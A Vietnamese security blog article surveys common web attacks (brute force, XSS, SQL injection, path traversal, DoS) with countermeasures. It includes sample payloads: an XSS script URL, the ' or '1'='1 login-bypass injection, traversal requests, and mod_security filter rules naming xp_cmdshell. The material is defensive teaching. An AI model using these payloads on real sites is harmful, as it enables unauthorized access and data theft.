phiên bản 7.x và 7.32 về cơ bản cho phép tội phạm mạng chiến được quyền quản trị và thực hiện các hoạt động phi pháp, như phát tán phần mềm độc hại cho người dùng truy cập hoặc điều hướng họ đến các trang web độc hại khác.<br /> <h4>Khắc phục</h4>Bạn nên tiến hành cập nhật lên phiên bản mới nhất của Drupal để cập nhật bản vá cho lỗ hổng. Ngoài ra, bạn cũng nên kiểm tra danh sách tài khoản quản trị của hệ thống, để loại bỏ các tài khoản có thể đã được thêm bởi tin tặc.</div>

Phân tích lỗ hổng SQLi nghiêm trọng trong Drupal dễ dàng bị khai thác

Một lỗ hổng nguy hiểm trong Drupal cho phép tạo mới các tài khoản quản trị của hệ thống. Hiện Drupal đã phát hành một phiên bản mới của Drup...

Read More »

Một số phương thức tấn công ứng dụng web

<div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Đối với các cơ quan, tổ chức website là kênh cung cấp thông tin hiệu quả và nhanh chóng nhất. Cũng chính đặc điểm này, các website thường xuyên là mục tiêu tấn công của tin tặc để khai thác đánh cắp các thông tin liên quan bên trong. Một trong những phương thức tấn công phổ biến là khai thác các lỗi bảo mật liên quan đến ứng dụng web.</div> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Các lỗi bảo mật ứng dụng web là nguyên nhân chủ yếu gây ra các lỗi đối với website đang vận hành. Sau khi xác định các lỗi này, tin tặc sẽ sử dụng các kỹ thuật khác nhau để tiến hành khai thác hệ thống đích. Một số kỹ thuật thường được sử dụng: Buffer Overflows, SQL Injection, and Cross-site Scripting…Việc phân loại các kiểu tấn công thành các nhóm khác nhau sẽ giúp cho người quản trị dễ dàng xác định các nguy cơ cũng như biên pháp đối phó hơn.</div> <h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;"> <strong style="box-sizing: border-box;">Tấn công Bruteforce</strong></h4> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Bruteforce là cách thức thử tất cả các khả năng có thể có để đoán các thông tin cá nhân đăng nhập: tài khoản, mật khẩu, số thẻ tín dụng…Nhiều hệ thống cho phép sử dụng mật khẩu hoặc thuật toán mã hóa yếu sẽ tạo điều kiện cho tin tặc sử dụng phương pháp tấn công này để đoán tài khoản và mật khẩu đăng nhập. Sau đó sử dụng các thông tin này để đăng nhập truy cập vào tài nguyên hệ thống.</div> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Biện pháp đối phó:</div> <ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;"> <li style="box-sizing: border-box;">Tăng cường độ mạnh cho mật khẩu (Độ dài ít nhất 6 ký tự, không chứa chuỗi username, chứa ít nhất 1 ký tự số, chứa ít nhất 1 ký tự đặc biệt, không cho phép thay đổi mật khẩu trùng lặp đã sử dụng, quản lý, điều khiển thông báo lỗi)</li> <li style="box-sizing: border-box;">Sử dụng cơ chế chứng thực (Basic hoặc Digest Authentication)</li> <li style="box-sizing: border-box;">Hạn chế số lần đăng nhập hoặc khóa tài khoản đăng nhập sai</li> <li style="box-sizing: border-box;">Sử dụng module Mod_Dosevasive để xác định dấu hiệu của kiểu tấn công này.</li> </ul> <h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;"> <strong style="box-sizing: border-box;">Lỗi chứng thực yếu (Insufficient Authentication)</strong></h4> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Lỗi chứng thực yếu xuất hiện khi một website cho phép truy cập các nội dung, tài nguyên nhạy cảm mà không có đủ quyền. Các trang quản trị là một ví dụ dễ thấy nhất. Nếu không có cơ chế phân quyền hợp lý thư mục cũng như tài khoản đăng nhập trang quản trị này. Tin tặc hoàn toàn có khả năng vượt qua được cơ chế đăng nhập để chiếm quyền điều khiển trang này.</div> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Biện pháp đối phó:</div> <ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;"> <li style="box-sizing: border-box;">Thiết lập cơ chế điều khiển truy cập thông quan .htaccess hoặc tập tin cấu hình httpd.conf</li> </ul> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Ví dụ: Điều khiển truy cập thông qua httpd.conf</div> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> <LocationMatch “^/admin/”></address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SSLRequireSSL</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> AuthType Digest</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> AuthName “Admin Area”</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> AuthDigestfile /usr/local/apache/conf/passwd_digest</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> Require user admin</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> </LocationMatch></address> <h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;"> <strong style="box-sizing: border-box;">Dự đoán, chèn phiên (Credentical/Session Prediction)</strong></h4> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Dự đoán, chèn phiênlà một phương thức chiếm phiên (hijacking). Thông thường, khi một tài khoản thực hiện quá trình chứng thực đối với server (tài khoản/mật khẩu). Dựa vào các thông tin này, server sẽ tạo một giá trị session ID duy nhất để cho phép và duy trì kết nối. Nếu đoán được session ID kế tiếp thì tin tặc có khả năng chiếm phiên đăng nhập của người dùng hợp lệ khác.</div> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Biện pháp đối phó:</div> <ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;"> <li style="box-sizing: border-box;">Sử dụng SSL (<em style="box-sizing: border-box;">mod_ssl</em>) trong quá trình chứng thực để chống lại việc nghe lén dữ liệu quan trọng.</li> <li style="box-sizing: border-box;">Sử dụng cơ chế tạo session ID ngẫu nhiên, thuật toán mã hóa mạnh.</li> <li style="box-sizing: border-box;">Session ID phải đủ lớn để làm khó quá trình tấn công brute-fore.</li> <li style="box-sizing: border-box;">Giới hạn thời gian tồn tại của session ID.</li> </ul> <h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;"> <strong style="box-sizing: border-box;">XSS – Cross-Site Scripting</strong></h4> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> XSS là một trong những kĩ thuật tấn công phổ biến nhất hiện nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web. Bất kì một website nào cho phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS.</div> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Tin tặc tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP …) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng khác. Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML</div> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Ví dụ: Sử dụng XSS chèn mã java script trực tiếp trên URL</div> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> http://www.demo.com/search.cgi?query=<script>alert(‘XSS was found !’);</script></address> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Khi wesite http://www.demo.combị lỗi XSS trình duyệt sẽ hiện lên một thông báo “XSS was found !”.</div> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Nếu như các kĩ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó</div> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Biện pháp đối phó:</div> <ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;"> <li style="box-sizing: border-box;">Chỉ cho phép những dữ liệu hợp lệ, từ chối nhận các dữ liệu sai, thường xuyên kiểm tra và lọc dữ liệu đầu vào.</li> <li style="box-sizing: border-box;">Sử dụng Mod_Security để lọc một số dữ liệu tấn công XSS.</li> </ul> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SecFilterSelective THE_REQUEST “<[^>]*meta*\”?[^>]*>”</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SecFilterSelective THE_REQUEST “<[^>]*style*\”?[^>]*>”</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SecFilterSelective THE_REQUEST “<[^>]*script*\”?[^>]*>”</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SecFilterSelective THE_REQUEST “<[^>]*iframe*\”?[^>]*>”</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SecFilterSelective THE_REQUEST “<[^>]*object*\”?[^>]*>”</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SecFilterSelective THE_REQUEST “<[^>]*img*\”?[^>]*>”</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SecFilterSelective THE_REQUEST “<[^>]*applet*\”?[^>]*>”</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SecFilterSelective THE_REQUEST “<[^>]*form*\”?[^>]*>”</address> <h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;"> <strong style="box-sizing: border-box;">SQL injection</strong></h4> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Tấn công SQL Injection được thực thi bằng cách chèn các câu truy vấn SQL vào dữ liệu tương tác giữa máy khách và trình ứng dụng. Quá trình khai thác lỗi SQL Injection thành công có thể giúp tin tặc lấy được các dữ liệu nhạy cảm trong cở sở dữ liệu, thay đổi cơ sở dữ liệu (Insert/Update/Delete), thực thi các hành động với quyền của người quản trị và cao hơn có thể điều khiển được hệ điều hành máy chủ</div> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Ví dụ: Xét đoạn mã truy vấn SQL sau:</div> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SELECT * FROM Users WHERE Username=’$username’ AND Password=’$password’</address> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Đây là một câu truy vấn thường hay được dùng trong các trình ứng dụng nhằm xác thực người dùng. Nếu câu truy vấn trả về một giá trị nói rằng thông tin về người dùng đang đăng nhập là đúng và được lưu trong cơ sở dữ liệu, thì người dùng được phép đăng nhập vào hệ thống, ngược lại thì không đăng nhập được. Người dùng nhập thông tin đó vào các trường gọi là web form.</div> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Thay vì nhập đúng tên đăng nhập và mật khẩu, thử nhập vào các ký tự đặc biệt như:</div> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> $username = 1′ or ’1′ = ’1</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> $password = 1′ or ’1′ = ’1</address> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Khi đó câu truy vấn sẽ là:</div> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SELECT * FROM Users WHERE Username=’1′ OR ’1′ = ’1′ AND Password=’1′ OR ’1′ = ’1′</address> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Giả sử rằng giá trị của các tham số được gửi tới máy chủ bằng phương thức GET, thì có một câu lệnh khai thác lỗi như sau:</div> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> http://www.example.com/index.php?username=1′%20or%20’1′%20=%20’1&password=1′%20or%20’1′%20=%20’1</address> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Khi đó, truy vấn sẽ trả về một giá trị (hay một loạt các giá trị) vì điều kiện trên luôn luôn đúng (OR 1=1). Trong trường hợp này tin tặc sẽ đăng nhập được vào hệ thống mà không cần biết tên đăng nhập và mật khẩu. Trường hợp này sẽ rất nguy hiểm nếu dòng đầu tiên trong bảng “Users” là tài khoản của người quản trị (admin) vì tin tặc sẽ đăng nhập vào hệ thống bằng tài khoản đầu tiên trong bảng này.</div> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Biện pháp đối phó:</div> <ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;"> <li style="box-sizing: border-box;">Kiểm tra dữ liệu đầu vào.</li> <li style="box-sizing: border-box;">Sử dụng Mod_Security để lọc một số dữ liệu tấn công SQL injection.</li> </ul> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SecFilter “delete[[:space:]]+from”</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SecFilter “insert[[:space:]]+into”</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SecFilter “select.+from”</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SecFilter xp_cmdshell</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SecFilter xp_regread</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SecFilter xp_regwrite</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SecFilter xp_regdeletekeySecFilter xp_enumdsn</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SecFilter xp_filelist</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SecFilter xp_availablemedia</address> <h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;"> <strong style="box-sizing: border-box;">Liệt kê thư mục (Directory indexing)</strong></h4> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Đây là chức năng web server cho phép liệt kê tất cả nội dung bên trong một thư mục mà không có tập tin cơ sở (index.html/home.html/ default.html). Trong các thư mục đó có thể chứa nội dung quan trọng: tập tin cơ sở dữ liệu dự phòng, tập tin cấu hình, tập tin lưu trữ tạm thời, các kịch bản…</div> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Biện pháp đối phó:</div> <ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;"> <li style="box-sizing: border-box;">Thiết lập quyền hợp lý trên các thư mục chứa nội dung web.</li> <li style="box-sizing: border-box;">Sử dụng mod_security để lọc dữ liệu đầu vào</li> </ul> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SecFilterScanOutput On</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SecFilterSelective OUTPUT “\<title\>Index of /”</address> <h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;"> <strong style="box-sizing: border-box;">Path Traversal</strong></h4> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Path Traversal hay còn được biết với một số tên khác như “dot-dot-slash”, “directory traversal”,”directory clumbing” và “backtracking” là hình thức tấn công truy cập đến những file và thư mục mà được lưu bên ngoài thư mục webroot.</div> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Hình thức tấn công này không cần sử dụng một công cụ nào mà chỉ đơn thuần thao tác các biến với ../ (dot-dot-slash) để truy cập đến file, thư mục, bao gồm cả source code, những file hệ thống, …</div> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Ví dụ:</div> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> GET /../../../../../some/file HTTP/1.0</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> GET /..%255c..%255c..%255csome/file HTTP/1.0</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> GET /..%u2216..%u2216some/file HTTP/1.0</address> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Biện pháp đối phó:</div> <ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;"> <li style="box-sizing: border-box;">Sử dụng mod_security để lọc dữ liệu đầu vào</li> </ul> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SecFilterSelective SCRIPT_FILENAME “/scripts/foo.cgi” chain</address> <address style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; font-style: normal; line-height: 20px; margin-bottom: 20px; padding-left: 30px;"> SecFilterSelective ARG_home “!^[a-zA-Z].{15,}\.txt”</address> <h4 style="background-color: white; box-sizing: border-box; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 18px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 10px;"> <strong style="box-sizing: border-box;">Từ chối dịch vụ (DoS)</strong></h4> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> DoS là kỹ thuật tấn công nhằm không cho phép các truy cập hợp lệ truy cập tới server. Kỹ thuật tấn công này thường xảy ra tại lớp mạngvà lớp ứng dụng.</div> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Các hệ thống đích có thể bị tấn công DoS:</div> <ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;"> <li style="box-sizing: border-box;">Người dùng riêng lẻ: quá trình đăng nhập lặp đi lặp lại với tài khoản hợp lệ nhưng mật khẩu không đúng. Sau nhiều lần đăng nhập sai, hệ thống sẽ khóa tài khoản hợp lệ này, dẫn đến người dùng hợp lệ sẽ không thể đăng nhập được.</li> <li style="box-sizing: border-box;">Máy chủ cơ sở dữ liệu: Sử dụng kỹ thuật chèn câu lệnh truy vấn SQL chỉnh sửa cơ sở dữ liệu, vì thế hệ thống sẽ không thể phục vụ các truy cập từ client.</li> <li style="box-sizing: border-box;">Máy chủ phục vụ web: Sử dụng kỹ thuật tấn công tràn bộ đệm ( Buffer Overflow) để gới các gói truy vấn và làm đổ vỡ các tiến trình tại phía máy chủ phục vụ web, dẫn đến hệ thống máy chủ webserver sẽ không có khả năng phục vụ các truy cập hợp lý.</li> </ul> <div style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; text-align: justify;"> Biện pháp đối phó:</div> <ul style="background-color: white; box-sizing: border-box; color: #404040; font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 10px; margin-top: 0px;"> <li style="box-sizing: border-box;">Sử dụng module Mod_Dosevasive</li> <li style="box-sizing: border-box;">Thiết lập các thông tin hợp lý cho máy chủ phục vụ web: KeepAlives, KeepAliveTimeouts, MaxKeepAliveRequests…</li> </ul>

Một số phương thức tấn công ứng dụng web

Đối với các cơ quan, tổ chức website là kênh cung cấp thông tin hiệu quả và nhanh chóng nhất. Cũng chính đặc điểm này, các website thường x...

Read More »

[TUT] SQL dạng HTML

